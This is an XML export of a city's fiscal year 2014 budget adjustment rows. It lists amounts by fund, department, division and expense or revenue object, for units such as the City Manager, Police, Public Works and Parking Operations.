<row _id="8293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1050.0</total></row>
<row _id="8294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIRE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-186000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-186000.0</total></row>
<row _id="8295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401381.0</object><object_description>DOG &amp; CAT NEUTER DEPOSITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11930.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11930.0</total></row>
<row _id="8296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>98503.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98503.0</total></row>
<row _id="8297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>268773.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>268773.0</total></row>
<row _id="8298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>49769.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49769.0</total></row>
<row _id="8299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5134.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5134.0</total></row>
<row _id="8300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-918.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-918.0</total></row>
<row _id="8301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>324.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="8302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2050.0</total></row>
<row _id="8303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566870.0</object><object_description>HORSE PATROL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>569340.0</object><object_description>EMERGENCY ACCOMODATIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="8307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>405719.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>405719.0</total></row>
<row _id="8308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>409.0</total></row>
<row _id="8309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>235473.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>235473.0</total></row>
<row _id="8310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY YAR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7797.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7797.0</total></row>
<row _id="8311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="8312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>92884.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>92884.0</total></row>
<row _id="8313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42830.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42830.0</total></row>
<row _id="8314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522115.0</object><object_description>UTIL - LIGHT/POWER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>423221.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>423221.0</total></row>
<row _id="8315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99023.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99023.0</total></row>
<row _id="8316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58370.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58370.0</total></row>
<row _id="8317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400180.0</object><object_description>LOCAL PUBLIC SAFETY FUNDS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-1004250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1004250.0</total></row>
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<row _id="8319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>406900.0</object><object_description>DIVCA REV FOR PEG FACILITIES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="8321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410140.0</object><object_description>TRANSPORTATION ENG SVCS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410150.0</object><object_description>BIKE RACKS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-962.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-962.0</total></row>
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<row _id="8324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="8325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="8326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="8327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>726.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="8328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577260.0</object><object_description>SENIOR HOUSING VOUCHER PRG</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>350000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350000.0</total></row>
<row _id="8329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408360.0</object><object_description>SUCCESSOR AGENCY ADMIN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-772813.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-772813.0</total></row>
<row _id="8330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407180.0</object><object_description>VALET LICENSING FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="8331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407800.0</object><object_description>CIVIC CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-1000000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000000.0</total></row>
<row _id="8332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408240.0</object><object_description>PARKING STRUCTURE 10</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-285600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-285600.0</total></row>
<row _id="8333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1616.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1616.0</total></row>
<row _id="8334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>282414.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>282414.0</total></row>
<row _id="8335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>62685.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62685.0</total></row>
<row _id="8336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1738.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="8337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>53756.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53756.0</total></row>
<row _id="8338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-13216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13216.0</total></row>
<row _id="8339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>960.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>960.0</total></row>
<row _id="8340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="8341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533213.0</object><object_description>FAC MAINT-PREVENTATIVE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="8342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>551010.0</object><object_description>CAR WASHES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
